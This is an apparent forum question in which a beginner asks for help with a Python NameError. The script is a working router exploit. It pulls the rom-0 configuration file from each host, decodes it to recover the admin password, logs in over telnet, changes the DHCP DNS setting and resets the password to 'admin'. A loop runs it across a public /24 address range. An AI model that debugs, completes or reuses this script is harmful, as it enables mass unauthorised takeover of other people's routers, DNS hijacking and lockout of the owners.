I'm new in python programming. When i try running a simple python script i get error like this in my terminal
root@bt:/tmp# python code.py Traceback (most recent call last): File "code.py", line 42, in <module> print host+" -> Offline!" NameError: name 'host' is not defined
I have been search in Google but im difficult to fix my problem because im new in this programming language. Can you help me? This is my script like this :
from poster.encode import multipart_encode from poster.streaminghttp import register_openers from netaddr import IPNetwork import urllib2 import urllib import re import getpass import sys import telnetlib import time import os import socket import sys socket.setdefaulttimeout(4) register_openers() try: os.remove("rom-0") except: pass try: host=str(sys.argv[1]) urllib.urlretrieve ("http://"+host+"/rom-0", "rom-0") datagen, headers = multipart_encode({"uploadedfile": open("rom-0")}) request = urllib2.Request("http://localhost/decoded.php", datagen, headers) str1 = urllib2.urlopen(request).read() m = re.search('rows=10>(.*)', str1) if m: found = m.group(1) tn = telnetlib.Telnet(host, 23, 3) tn.read_until("Password: ") tn.write(found + "\n") tn.write("set lan dhcpdns 8.8.8.8\n") tn.write("sys password admin\n") print host+" -> Success" tn.write("exit\n") except: print host+" -> Offline!"
How i can fix error like this.? Thanks
If i put : host=str(sys.argv[1]) before try.except show error like this :
Traceback (most recent call last): File "code.py", line 17, in host=str(sys.argv[1]) IndexError: list index out of range
And this is my input :
from netaddr import IPNetwork import os for ip in IPNetwork ('41.108.48.1/24'): os.system("python code.py "+str(ip))